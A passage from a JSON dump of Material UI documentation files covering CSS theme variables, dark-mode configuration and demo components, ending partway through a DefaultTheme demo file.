    "content": "# CSS theme variables - Usage\n\n<p class=\"description\">Learn how to adopt CSS theme variables.</p>\n\n## Getting started\n\nTo use CSS theme variables, create a theme with `cssVariables: true` and wrap your app with `ThemeProvider`.\n\nAfter rendering, you'll see CSS variables in the `:root` stylesheet of your HTML document.\nBy default, these variables are flattened and prefixed with `--mui`:\n\n<codeblock>\n\n```jsx JSX\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({ cssVariables: true });\n\nfunction App() {\n  return <ThemeProvider theme={theme}>{/* ...your app */}</ThemeProvider>;\n}\n```\n\n```css CSS\n:root {\n  --mui-palette-primary-main: #1976d2;\n  --mui-palette-primary-light: #42a5f5;\n  --mui-palette-primary-dark: #1565c0;\n  --mui-palette-primary-contrastText: #fff;\n  /* ...other variables */\n}\n```\n\n</codeblock>\n\n:::info\nIf you're using the experimental `CssVarsProvider` API, replace it with `ThemeProvider`.\nAll features that were previously available to the `CssVarsProvider` are now available with the `ThemeProvider`.\n:::\n\n## Light and dark modes\n\nWhen the [built-in dark color scheme](/material-ui/customization/dark-mode/#built-in-support) and `cssVariables` are enabled, both light and dark CSS variables are generated with the default CSS media `prefers-color-scheme` method.\n\nThis method works with server-side rendering without extra configuration. However, users won't be able to toggle between modes because the styles are based on the browser media.\n\nIf you want to be able to manually toggle modes, see the guide to [toggling dark mode manually](/material-ui/customization/css-theme-variables/configuration/#toggling-dark-mode-manually).\n\n## Applying dark styles\n\nTo customize styles for dark mode, use the [`theme.applyStyles()` function](/material-ui/customization/dark-mode/#styling-in-dark-mode).\n\nThe example below shows how to customize the Card component for dark mode:\n\n```js\nimport Card from '@mui/material/Card';\n\n<Card\n  sx={[\n    (theme) => ({\n      backgroundColor: theme.vars.palette.background.default,\n    }),\n    (theme) =>\n      theme.applyStyles('dark', {\n        backgroundColor: theme.vars.palette.grey[900],\n      }),\n  ]}\n/>;\n```\n\n:::warning\nDo not use `theme.palette.mode` to switch between light and dark styles—this produces an [unwanted flickering effect](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering).\n:::\n\n## Using theme variables\n\nWhen the CSS variables feature is enabled, the `vars` node is added to the theme.\nThis `vars` object mirrors the structure of a serializable theme, with each value corresponding to a CSS variable.\n\n- `theme.vars` (recommended): an object that refers to the CSS theme variables.\n\n  ```js\n  const Button = styled('button')(({ theme }) => ({\n    backgroundColor: theme.vars.palette.primary.main, // var(--mui-palette-primary-main)\n    color: theme.vars.palette.primary.contrastText, // var(--mui-palette-primary-contrastText)\n  }));\n  ```\n\n  For **TypeScript**, the typings are not enabled by default.\n  Follow the [TypeScript setup](#typescript) to enable the typings.\n\n  :::success\n  If the components need to render outside of the `CssVarsProvider`, add fallback to the theme object.\n\n  ```js\n  backgroundColor: (theme.vars || theme).palette.primary.main;\n  ```\n\n  :::\n\n- **Native CSS**: if you can't access the theme object, for example in a pure CSS file, you can use [`var()`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Values/var) directly:\n\n  ```css\n  /* external-scope.css */\n  .external-section {\n    background-color: var(--mui-palette-grey-50);\n  }\n  ```\n\n## Color channel tokens\n\nEnabling `cssVariables` automatically generates channel tokens which are used to create translucent colors.\nThese tokens consist of color space channels without the alpha component, separated by spaces.\n\nThe colors are suffixed with `Channel`—for example:\n\n```js\nconst theme = createTheme({ cssVariables: true });\n\nconsole.log(theme.palette.primary.mainChannel); // '25 118 210'\n// This token is generated from `theme.colorSchemes.light.palette.primary.main`.\n```\n\nYou can use the channel tokens to create a translucent color like this:\n\n```js\nconst theme = createTheme({\n  cssVariables: true,\n  components: {\n    MuiChip: {\n      styleOverrides: {\n        root: ({ theme }) => ({\n          variants: [\n            {\n              props: { variant: 'outlined', color: 'primary' },\n              style: {\n                backgroundColor: `rgba(${theme.vars.palette.primary.mainChannel} / 0.12)`,\n              },\n            },\n          ],\n        }),\n      },\n    },\n  },\n});\n```\n\n:::warning\nDon't use a comma (`,`) as a separator because the channel colors use empty spaces to define [transparency](https://www.w3.org/TR/css-color-4/#transparency):\n\n```js\n`rgba(${theme.vars.palette.primary.mainChannel}, 0.12)`, // 🚫 this does not work\n`rgba(${theme.vars.palette.primary.mainChannel} / 0.12)`, // ✅ always use `/`\n```\n\n:::\n\n## Adding new theme tokens\n\nYou can add other key-value pairs to the theme input which will be generated as a part of the CSS theme variables:\n\n```js\nconst theme = createTheme({\n  cssVariables: true,\n  colorSchemes: {\n    light: {\n      palette: {\n        // The best part is that you can refer to the variables wherever you like 🤩\n        gradient:\n          'linear-gradient(to left, var(--mui-palette-primary-main), var(--mui-palette-primary-dark))',\n        border: {\n          subtle: 'var(--mui-palette-neutral-200)',\n        },\n      },\n    },\n    dark: {\n      palette: {\n        gradient:\n          'linear-gradient(to left, var(--mui-palette-primary-light), var(--mui-palette-primary-main))',\n        border: {\n          subtle: 'var(--mui-palette-neutral-600)',\n        },\n      },\n    },\n  },\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n\nThen, you can access those variables from the `theme.vars` object:\n\n```js\nconst Divider = styled('hr')(({ theme }) => ({\n  height: 1,\n  border: '1px solid',\n  borderColor: theme.vars.palette.border.subtle,\n  backgroundColor: theme.vars.palette.gradient,\n}));\n```\n\nOr use `var()` to refer to the CSS variable directly:\n\n```css\n/* global.css */\n.external-section {\n  background-color: var(--mui-palette-gradient);\n}\n```\n\n:::warning\nIf you're using a [custom prefix](/material-ui/customization/css-theme-variables/configuration/#customizing-variable-prefix), make sure to replace the default `--mui`.\n:::\n\nFor **TypeScript**, you need to augment the [palette interfaces](#palette-interfaces).\n\n## TypeScript\n\nThe theme variables type is not enabled by default. You need to import the module augmentation to enable the typings:\n\n```ts\n// The import can be in any file that is included in your `tsconfig.json`\nimport type {} from '@mui/material/themeCssVarsAugmentation';\nimport { styled } from '@mui/material/styles';\n\nconst StyledComponent = styled('button')(({ theme }) => ({\n  // ✅ typed-safe\n  color: theme.vars.palette.primary.main,\n}));\n```\n\n### Palette interfaces\n\nTo add new tokens to the theme palette, you need to augment the `PaletteOptions` and `Palette` interfaces:\n\n```ts\ndeclare module '@mui/material/styles' {\n  interface PaletteOptions {\n    gradient: string;\n    border: {\n      subtle: string;\n    };\n  }\n  interface Palette {\n    gradient: string;\n    border: {\n      subtle: string;\n    };\n  }\n}\n```\n\n## Next steps\n\nIf you need to support system preference and manual selection, check out the [advanced configuration](/material-ui/customization/css-theme-variables/configuration/)\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/DarkTheme.js",
    "content": "import Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport Box from '@mui/material/Box';\nimport { styled, ThemeProvider, useTheme, createTheme } from '@mui/material/styles';\n\nconst Root = styled('div')(({ theme }) => ({\n  backgroundColor: theme.palette.background.default,\n  color: theme.palette.text.primary,\n  padding: theme.spacing(2),\n  borderRadius: 4,\n  [theme.breakpoints.up('md')]: {\n    padding: theme.spacing(3),\n  },\n}));\n\nconst Color = styled(Grid)(({ theme }) => ({\n  display: 'flex',\n  alignItems: 'center',\n  '& div:first-of-type': {\n    width: theme.spacing(5),\n    height: theme.spacing(5),\n    flexShrink: 0,\n    marginRight: theme.spacing(1.5),\n    borderRadius: theme.shape.borderRadius,\n  },\n}));\n\nfunction Demo() {\n  const theme = useTheme();\n\n  const item = (color, name, expanded = false, border = false) => (\n    <Color size={{ xs: 12, sm: 6, md: expanded ? 8 : 4 }}>\n      <div\n        style={{\n          backgroundColor: color,\n          border: border ? `1px solid ${theme.palette.divider}` : undefined,\n        }}\n      />\n      <div>\n        <Typography variant=\"body2\">{name}</Typography>\n        <Typography variant=\"body2\" sx={{ color: 'text.secondary' }}>\n          {color}\n        </Typography>\n      </div>\n    </Color>\n  );\n\n  return (\n    <Root>\n      <Typography gutterBottom sx={{ mb: 1.5 }}>\n        Typography\n      </Typography>\n      <Grid container spacing={1}>\n        {item(theme.palette.text.primary, 'palette.text.primary')}\n        {item(theme.palette.text.secondary, 'palette.text.secondary')}\n        {item(theme.palette.text.disabled, 'palette.text.disabled')}\n      </Grid>\n      <Typography gutterBottom sx={{ mt: 4, mb: 1.5 }}>\n        Buttons\n      </Typography>\n      <Grid container spacing={1}>\n        {item(theme.palette.action.active, 'palette.action.active')}\n        {item(theme.palette.action.hover, 'palette.action.hover')}\n        {item(theme.palette.action.selected, 'palette.action.selected')}\n        {item(theme.palette.action.disabled, 'palette.action.disabled')}\n        {item(\n          theme.palette.action.disabledBackground,\n          'palette.action.disabledBackground',\n          true,\n        )}\n      </Grid>\n      <Typography gutterBottom sx={{ mt: 4, mb: 1.5 }}>\n        Background\n      </Typography>\n      <Grid container spacing={1}>\n        {item(\n          theme.palette.background.default,\n          'palette.background.default',\n          false,\n          true,\n        )}\n        {item(\n          theme.palette.background.paper,\n          'palette.background.paper',\n          false,\n          true,\n        )}\n      </Grid>\n      <Typography gutterBottom sx={{ mt: 4, mb: 1.5 }}>\n        Divider\n      </Typography>\n      <Grid container spacing={1}>\n        {item(theme.palette.divider, 'palette.divider')}\n      </Grid>\n    </Root>\n  );\n}\n\nconst darkTheme = createTheme({\n  palette: {\n    // Switching the dark mode on is a single property value change.\n    mode: 'dark',\n  },\n});\n\nexport default function DarkTheme() {\n  return (\n    <Box sx={{ width: '100%' }}>\n      <ThemeProvider theme={darkTheme}>\n        <Demo />\n      </ThemeProvider>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/DarkThemeWithCustomPalette.js",
    "content": "import Box from '@mui/material/Box';\nimport { ThemeProvider, useTheme, createTheme } from '@mui/material/styles';\nimport { amber, deepOrange, grey } from '@mui/material/colors';\n\nconst getDesignTokens = (mode) => ({\n  palette: {\n    mode,\n    primary: {\n      ...amber,\n      ...(mode === 'dark' && {\n        main: amber[300],\n      }),\n    },\n    ...(mode === 'dark' && {\n      background: {\n        default: deepOrange[900],\n        paper: deepOrange[900],\n      },\n    }),\n    text: {\n      ...(mode === 'light'\n        ? {\n            primary: grey[900],\n            secondary: grey[800],\n          }\n        : {\n            primary: '#fff',\n            secondary: grey[500],\n          }),\n    },\n  },\n});\n\nfunction MyApp() {\n  const theme = useTheme();\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        width: '100%',\n        alignItems: 'center',\n        justifyContent: 'center',\n        bgcolor: 'background.default',\n        color: 'text.primary',\n        borderRadius: 1,\n        p: 3,\n      }}\n    >\n      This is a {theme.palette.mode} mode theme with custom palette\n    </Box>\n  );\n}\n\nconst darkModeTheme = createTheme(getDesignTokens('dark'));\n\nexport default function DarkThemeWithCustomPalette() {\n  return (\n    <ThemeProvider theme={darkModeTheme}>\n      <MyApp />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/DarkThemeWithCustomPalette.tsx",
    "content": "import Box from '@mui/material/Box';\nimport {\n  ThemeProvider,\n  useTheme,\n  createTheme,\n  PaletteMode,\n} from '@mui/material/styles';\nimport { amber, deepOrange, grey } from '@mui/material/colors';\n\nconst getDesignTokens = (mode: PaletteMode) => ({\n  palette: {\n    mode,\n    primary: {\n      ...amber,\n      ...(mode === 'dark' && {\n        main: amber[300],\n      }),\n    },\n    ...(mode === 'dark' && {\n      background: {\n        default: deepOrange[900],\n        paper: deepOrange[900],\n      },\n    }),\n    text: {\n      ...(mode === 'light'\n        ? {\n            primary: grey[900],\n            secondary: grey[800],\n          }\n        : {\n            primary: '#fff',\n            secondary: grey[500],\n          }),\n    },\n  },\n});\n\nfunction MyApp() {\n  const theme = useTheme();\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        width: '100%',\n        alignItems: 'center',\n        justifyContent: 'center',\n        bgcolor: 'background.default',\n        color: 'text.primary',\n        borderRadius: 1,\n        p: 3,\n      }}\n    >\n      This is a {theme.palette.mode} mode theme with custom palette\n    </Box>\n  );\n}\n\nconst darkModeTheme = createTheme(getDesignTokens('dark'));\n\nexport default function DarkThemeWithCustomPalette() {\n  return (\n    <ThemeProvider theme={darkModeTheme}>\n      <MyApp />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/DarkThemeWithCustomPalette.tsx.preview",
    "content": "<ThemeProvider theme={darkModeTheme}>\n  <MyApp />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/dark-mode/ToggleColorMode.js",
    "content": "import Box from '@mui/material/Box';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\n\nfunction MyApp() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        width: '100%',\n        alignItems: 'center',\n        justifyContent: 'center',\n        bgcolor: 'background.default',\n        color: 'text.primary',\n        borderRadius: 1,\n        p: 3,\n        minHeight: '56px',\n      }}\n    >\n      <FormControl>\n        <FormLabel id=\"demo-theme-toggle\">Theme</FormLabel>\n        <RadioGroup\n          aria-labelledby=\"demo-theme-toggle\"\n          name=\"theme-toggle\"\n          row\n          value={mode}\n          onChange={(event) => setMode(event.target.value)}\n        >\n          <FormControlLabel value=\"system\" control={<Radio />} label=\"System\" />\n          <FormControlLabel value=\"light\" control={<Radio />} label=\"Light\" />\n          <FormControlLabel value=\"dark\" control={<Radio />} label=\"Dark\" />\n        </RadioGroup>\n      </FormControl>\n    </Box>\n  );\n}\n\nconst theme = createTheme({\n  colorSchemes: {\n    dark: true,\n  },\n});\n\nexport default function ToggleColorMode() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyApp />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/ToggleColorMode.tsx",
    "content": "import Box from '@mui/material/Box';\nimport RadioGroup from '@mui/material/RadioGroup';\nimport Radio from '@mui/material/Radio';\nimport FormControl from '@mui/material/FormControl';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormLabel from '@mui/material/FormLabel';\nimport { ThemeProvider, createTheme, useColorScheme } from '@mui/material/styles';\n\nfunction MyApp() {\n  const { mode, setMode } = useColorScheme();\n  if (!mode) {\n    return null;\n  }\n  return (\n    <Box\n      sx={{\n        display: 'flex',\n        width: '100%',\n        alignItems: 'center',\n        justifyContent: 'center',\n        bgcolor: 'background.default',\n        color: 'text.primary',\n        borderRadius: 1,\n        p: 3,\n        minHeight: '56px',\n      }}\n    >\n      <FormControl>\n        <FormLabel id=\"demo-theme-toggle\">Theme</FormLabel>\n        <RadioGroup\n          aria-labelledby=\"demo-theme-toggle\"\n          name=\"theme-toggle\"\n          row\n          value={mode}\n          onChange={(event) =>\n            setMode(event.target.value as 'system' | 'light' | 'dark')\n          }\n        >\n          <FormControlLabel value=\"system\" control={<Radio />} label=\"System\" />\n          <FormControlLabel value=\"light\" control={<Radio />} label=\"Light\" />\n          <FormControlLabel value=\"dark\" control={<Radio />} label=\"Dark\" />\n        </RadioGroup>\n      </FormControl>\n    </Box>\n  );\n}\n\nconst theme = createTheme({\n  colorSchemes: {\n    dark: true,\n  },\n});\n\nexport default function ToggleColorMode() {\n  return (\n    <ThemeProvider theme={theme}>\n      <MyApp />\n    </ThemeProvider>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/customization/dark-mode/ToggleColorMode.tsx.preview",
    "content": "<ThemeProvider theme={theme}>\n  <MyApp />\n</ThemeProvider>"
  },
  {
    "path": "docs/data/material/customization/dark-mode/dark-mode.md",
    "content": "# Dark mode\n\n<p class=\"description\">Material UI comes with two palette modes: light (the default) and dark.</p>\n\n## Dark mode only\n\nYou can make your application use the dark theme as the default—regardless of the user's preference—by adding `mode: 'dark'` to the `createTheme()` helper:\n\n```js\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n  },\n});\n\nexport default function App() {\n  return (\n    <ThemeProvider theme={darkTheme}>\n      <CssBaseline />\n      <main>This app is using the dark mode</main>\n    </ThemeProvider>\n  );\n}\n```\n\nAdding `mode: 'dark'` to the `createTheme()` helper modifies several palette values, as shown in the following demo:\n\n{{\"demo\": \"DarkTheme.js\", \"bg\": \"inline\", \"hideToolbar\": true}}\n\nAdding `<CssBaseline />` inside of the `<ThemeProvider>` component will also enable dark mode for the app's background.\n\n:::warning\nSetting the dark mode this way only works if you are using [the default palette](/material-ui/customization/default-theme/). If you have a custom palette, make sure that you have the correct values based on the `mode`. The next section explains how to do this.\n:::\n\n### Overriding the dark palette\n\nTo override the default palette, provide a [palette object](/material-ui/customization/palette/#default-colors) with custom colors in hex, RGB, or HSL format:\n\n```jsx\nconst darkTheme = createTheme({\n  palette: {\n    mode: 'dark',\n    primary: {\n      main: '#ff5252',\n    },\n  },\n});\n```\n\nLearn more about palette structure in the [Palette documentation](/material-ui/customization/palette/).\n\n## System preference\n\nSome users set a preference for light or dark mode through their operating system—either systemwide, or for individual user agents.\nThe following sections explain how to apply these preferences to an app's theme.\n\n### Built-in support\n\nUse the `colorSchemes` node to build an application with multiple color schemes.\nThe built-in color schemes are `light` and `dark` which can be enabled by setting the value to `true`.\n\nThe light color scheme is enabled by default, so you only need to set the dark color scheme:\n\n```js\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\n\nconst theme = createTheme({\n  colorSchemes: {\n    dark: true,\n  },\n});\n\nfunction App() {\n  return <ThemeProvider theme={theme}>...</ThemeProvider>;\n}\n```\n\nWhen `colorSchemes` is provided, the following features are activated:\n\n- Automatic switching between light and dark color schemes based on the user's preference\n- Synchronization between window tabs—changes to the color scheme in one tab are applied to all other tabs\n- An option to [disable transitions](#disable-transitions) when the color scheme changes\n\n:::info\nThe `colorSchemes` API is an enhanced version of the earlier and more limited `palette` API—the aforementioned features are only accessible with the `colorSchemes` API, so we recommend using it over the `palette` API.\nIf both `colorSchemes` and `palette` are provided, `palette` will take precedence.\n:::\n\n:::success\nTo test the system preference feature, follow the guide on [emulating the CSS media feature `prefers-color-scheme`](https://developer.chrome.com/docs/devtools/rendering/emulate-css#emulate_css_media_feature_prefers-color-scheme).\n:::\n\n### Accessing media prefers-color-scheme\n\nYou can make use of this preference with the [`useMediaQuery`](/material-ui/react-use-media-query/) hook and the [`prefers-color-scheme`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-color-scheme) media query.\n\nThe following demo shows how to check the user's preference in their OS or browser settings:\n\n```jsx\nimport * as React from 'react';\nimport useMediaQuery from '@mui/material/useMediaQuery';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport CssBaseline from '@mui/material/CssBaseline';\n\nfunction App() {\n  const prefersDarkMode = useMediaQuery('(prefers-color-scheme: dark)');\n  return <div>prefersDarkMode: {prefersDarkMode.toString()}</div>;\n}\n```\n\n## Toggling color mode\n\nTo give your users a way to toggle between modes for [built-in support](#built-in-support), use the `useColorScheme` hook to read and update the mode.\n\n:::info\nThe `mode` is always `undefined` on first render, so make sure to handle this case as shown in the demo below—otherwise you may encounter a hydration mismatch error.\n:::\n\n{{\"demo\": \"ToggleColorMode.js\", \"defaultCodeOpen\": false}}\n\n## Storage manager\n\nBy default, the [built-in support](#built-in-support) for color schemes uses the browser's `localStorage` API to store the user's mode and scheme preference.\n\nTo use a different storage manager, create a custom function with this signature:\n\n```ts\ntype Unsubscribe = () => void;\n\nfunction storageManager(params: { key: string }): {\n  get: (defaultValue: any) => any;\n  set: (value: any) => void;\n  subscribe: (handler: (value: any) => void) => Unsubscribe;\n};\n```\n\nThen pass it to the `storageManager` prop of the `ThemeProvider` component:\n\n```tsx\nimport { ThemeProvider, createTheme } from '@mui/material/styles';\nimport type { StorageManager } from '@mui/material/styles';\n\nconst theme = createTheme({\n  colorSchemes: {\n    dark: true,\n  },\n});\n\nfunction storageManager(params): StorageManager {\n  return {\n    get: (defaultValue) => {\n      // Your implementation\n    },\n    set: (value) => {\n      // Your implementation\n    },\n    subscribe: (handler) => {\n      // Your implementation\n      return () => {\n        // cleanup\n      };\n    },\n  };\n}\n\nfunction App() {\n  return (\n    <ThemeProvider theme={theme} storageManager={storageManager}>\n      ...\n    </ThemeProvider>\n  );\n}\n```\n\n:::warning\nIf you are using the `InitColorSchemeScript` component to [prevent SSR flickering](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering), you have to include the `localStorage` implementation in your custom storage manager.\n:::\n\n### Disable storage\n\nTo disable the storage manager, pass `null` to the `storageManager` prop:\n\n```tsx\n<ThemeProvider theme={theme} storageManager={null}>\n  ...\n</ThemeProvider>\n```\n\n:::warning\nDisabling the storage manager will cause the app to reset to its default mode whenever the user refreshes the page.\n:::\n\n## Disable transitions\n\nTo instantly switch between color schemes with no transition, apply the `disableTransitionOnChange` prop to the `ThemeProvider` component:\n\n```jsx\n<ThemeProvider theme={theme} disableTransitionOnChange>\n  ...\n</ThemeProvider>\n```\n\n## Disable double rendering\n\nBy default, the `ThemeProvider` rerenders when the theme contains light **and** dark color schemes to prevent SSR hydration mismatches.\n\nTo disable this behavior, use the `noSsr` prop:\n\n```jsx\n<ThemeProvider theme={theme} noSsr>\n```\n\n`noSsr` is useful if you are building:\n\n- A client-only application, such as a single-page application (SPA). This prop will optimize the performance and prevent the dark mode flickering when users refresh the page.\n- A server-rendered application with [Suspense](https://react.dev/reference/react/Suspense). However, you must ensure that the server render output matches the initial render output on the client.\n\n## Setting the default mode\n\nWhen `colorSchemes` is provided, the default mode is `system`, which means the app uses the system preference when users first visit the site.\n\nTo set a different default mode, pass the `defaultMode` prop to the ThemeProvider component:\n\n```js\n<ThemeProvider theme={theme} defaultMode=\"dark\">\n```\n\n:::info\nThe `defaultMode` value can be `'light'`, `'dark'`, or `'system'`.\n:::\n\n### InitColorSchemeScript component\n\nIf you are using the `InitColorSchemeScript` component to [prevent SSR flicker](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering), you have to set the `defaultMode` with the same value you passed to the `ThemeProvider` component:\n\n```js\n<InitColorSchemeScript defaultMode=\"dark\">\n```\n\n## Styling in dark mode\n\nUse the `theme.applyStyles()` utility to apply styles for a specific mode.\n\nWe recommend using this function over checking `theme.palette.mode` to switch between styles as it has more benefits:\n\n<!-- #target-branch-reference -->\n\n- It can be used with [Pigment CSS](https://github.com/mui/material-ui/tree/master/packages/pigment-css-react), our in-house zero-runtime CSS-in-JS solution.\n- It is generally more readable and maintainable.\n- It is slightly more performant as it doesn't require to do style recalculation but the bundle size of SSR generated styles is larger.\n\n### Usage\n\nWith the `styled` function:\n\n```jsx\nimport { styled } from '@mui/material/styles';\n\nconst MyComponent = styled('div')(({ theme }) => [\n  {\n    color: '#fff',\n    backgroundColor: theme.palette.primary.main,\n    '&:hover': {\n      boxShadow: theme.shadows[3],\n      backgroundColor: theme.palette.primary.dark,\n    },\n  },\n  theme.applyStyles('dark', {\n    backgroundColor: theme.palette.secondary.main,\n    '&:hover': {\n      backgroundColor: theme.palette.secondary.dark,\n    },\n  }),\n]);\n```\n\nWith the `sx` prop:\n\n```jsx\nimport Button from '@mui/material/Button';\n\n<Button\n  sx={[\n    (theme) => ({\n      color: '#fff',\n      backgroundColor: theme.palette.primary.main,\n      '&:hover': {\n        boxShadow: theme.shadows[3],\n        backgroundColor: theme.palette.primary.dark,\n      },\n    }),\n    (theme) =>\n      theme.applyStyles('dark', {\n        backgroundColor: theme.palette.secondary.main,\n        '&:hover': {\n          backgroundColor: theme.palette.secondary.dark,\n        },\n      }),\n  ]}\n>\n  Submit\n</Button>;\n```\n\n:::warning\nWhen `cssVariables: true`, styles applied with `theme.applyStyles()` have higher specificity than those defined outside of it.\nSo if you need to override styles, you must also use `theme.applyStyles()` as shown below:\n\n```jsx\nconst BaseButton = styled('button')(({ theme }) =>\n  theme.applyStyles('dark', {\n    backgroundColor: 'white',\n  }),\n);\n\nconst AliceblueButton = styled(BaseButton)({\n  backgroundColor: 'aliceblue', // In dark mode, backgroundColor will be white as theme.applyStyles() has higher specificity\n});\n\nconst PinkButton = styled(BaseButton)(({ theme }) =>\n  theme.applyStyles('dark', {\n    backgroundColor: 'pink', // In dark mode, backgroundColor will be pink\n  }),\n);\n```\n\n:::\n\n### API\n\n`theme.applyStyles(mode, styles) => CSSObject`\n\nApply styles for a specific mode.\n\n#### Arguments\n\n- `mode` (`'light' | 'dark'`) - The mode for which the styles should be applied.\n- `styles` (`CSSObject`) - An object that contains the styles to be applied for the specified mode.\n\n#### Overriding applyStyles\n\nYou can override `theme.applyStyles()` with a custom function to gain complete control over the values it returns.\nPlease review the [source code](https://github.com/mui/material-ui/blob/HEAD/packages/mui-system/src/createTheme/applyStyles.ts) to understand how the default implementation works before overriding it.\nFor instance, if you need the function to return a string instead of an object so it can be used inside template literals:\n\n```js\nconst theme = createTheme({\n  cssVariables: {\n    colorSchemeSelector: '.mode-%s',\n  },\n  colorSchemes: {\n    dark: {},\n    light: {},\n  },\n  applyStyles: function (key: string, styles: any) {\n    // return a string instead of an object\n    return `*:where(.mode-${key}) & {${styles}}`;\n  },\n});\n\nconst StyledButton = styled('button')`\n  ${theme.applyStyles(\n    'dark', `\n      background: white;\n    `\n  )}\n`;\n```\n\n### Codemod\n\nWe provide codemods to migrate your codebase from using `theme.palette.mode` to use `theme.applyStyles()`.\nYou can run each codemod below or all of them at once.\n\n```bash\nnpx @mui/codemod@latest v6.0.0/styled <path/to/folder-or-file>\nnpx @mui/codemod@latest v6.0.0/sx-prop <path/to/folder-or-file>\nnpx @mui/codemod@latest v6.0.0/theme-v6 <path/to/theme-file>\n```\n\n> Run `v6.0.0/theme-v6` against the file that contains the custom `styleOverrides`. Ignore this codemod if you don't have a custom theme.\n\n## Dark mode flicker\n\n### The problem\n\nServer-rendered apps are built before they reach the user's device.\nThis means they can't automatically adjust to the user's preferred color scheme when first loaded.\n\nHere's what typically happens:\n\n1. You load the app and set it to dark mode.\n2. You refresh the page.\n3. The app briefly appears in light mode (the default).\n4. Then it switches back to dark mode once the app fully loads.\n\nThis \"flash\" of light mode happens every time you open the app, as long as your browser remembers your dark mode preference.\n\nThis sudden change can be jarring, especially in low-light environments.\nIt can strain your eyes and disrupt your experience, particularly if you interact with the app during this transition.\n\nTo better understand this issue, take a look at the animated image below:\n\n<img src=\"/static/joy-ui/dark-mode/dark-mode-flicker.gif\" style=\"width: 814px; border-radius: 8px;\" alt=\"An example video that shows a page that initially loads correctly in dark mode but quickly flickers to light mode.\" width=\"1628\" height=\"400\" />\n\n### The solution: CSS variables\n\nSolving this problem requires a novel approach to styling and theming.\n(See this [RFC on CSS variables support](https://github.com/mui/material-ui/issues/27651) to learn more about the implementation of this feature.)\n\nFor applications that need to support light and dark mode using CSS media `prefers-color-scheme`, enabling the [CSS variables feature](/material-ui/customization/css-theme-variables/usage/#light-and-dark-modes) fixes the issue.\n\nBut if you want to be able to toggle between modes manually, avoiding the flicker requires a combination of CSS variables and the `InitColorSchemeScript` component.\nCheck out the [Preventing SSR flicker](/material-ui/customization/css-theme-variables/configuration/#preventing-ssr-flickering) section for more details.\n"
  },
  {
    "path": "docs/data/material/customization/default-theme/DefaultTheme.js",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Divider from '@mui/material/Divider';\nimport { createTheme, styled } from '@mui/material/styles';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport { useTranslate } from '@mui/docs/i18n';\nimport ThemeViewer, {\n  useItemIdsLazy,\n} from 'docs/src/modules/components/ThemeViewer';\nimport { blue, grey } from '@mui/docs/branding';\n\nconst StyledSwitch = styled(Switch)(({ theme }) => [\n  {\n    display: 'flex',\n    padding: 0,\n    width: 32,\n    height: 20,\n    borderRadius: 99,\n    '&:active': {\n      '& .MuiSwitch-thumb': {\n        width: 16,\n      },\n      '& .MuiSwitch-switchBase.Mui-checked': {\n        transform: 'translateX(9px)',\n      },\n    },\n    '& .MuiSwitch-switchBase': {\n      padding: 2,\n      '&.Mui-checked': {\n        transform: 'translateX(12px)',\n        color: '#FFF',\n        '& + .MuiSwitch-track': {\n          opacity: 1,\n          backgroundColor: blue[500],\n        },\n      },\n    },\n    '& .MuiSwitch-thumb': {\n      width: 16,\n      height: 16,\n      borderRadius: 99,\n      transition: theme.transitions.create(['width'], {\n        duration: 200,\n      }),\n    },\n    '& .MuiSwitch-track': {\n      borderRadius: 16 / 2,\n      opacity: 1,\n      backgroundColor: grey[400],\n      boxSizing: 'border-box',\n    },\n    [`:where(${theme.vars ? '[data-mui-color-scheme=\"dark\"]' : '.mode-dark'}) &`]: {\n      '& .MuiSwitch-switchBase': {\n        '&.Mui-checked': {\n          '& + .MuiSwitch-track': {\n            backgroundColor: blue[500],\n          },\n        },\n      },\n      '& .MuiSwitch-track': {\n        backgroundColor: grey[700],\n      },\n    },\n  },\n]);\n\nfunction DefaultTheme() {\n  const [checked, setChecked] = React.useState(false);\n  const [expandPaths, setExpandPaths] = React.useState(null);\n  const t = useTranslate();\n  const [darkTheme, setDarkTheme] = React.useState(false);\n\n  React.useEffect(() => {\n    let expandPath;\n    decodeURI(document.location.search.slice(1))\n      .split('&')\n      .forEach((param) => {\n        const [name, value] = param.split('=');\n        if (name === 'expand-path') {\n          expandPath = value;\n        }\n      });\n\n    if (!expandPath) {\n      return;\n    }\n\n    setExpandPaths(\n      expandPath\n        .replace('$.', '')\n        .split('.')\n        .reduce((acc, path) => {\n          const last = acc.length > 0 ? `${acc[acc.length - 1]}.` : '';\n          acc.push(last + path);\n          return 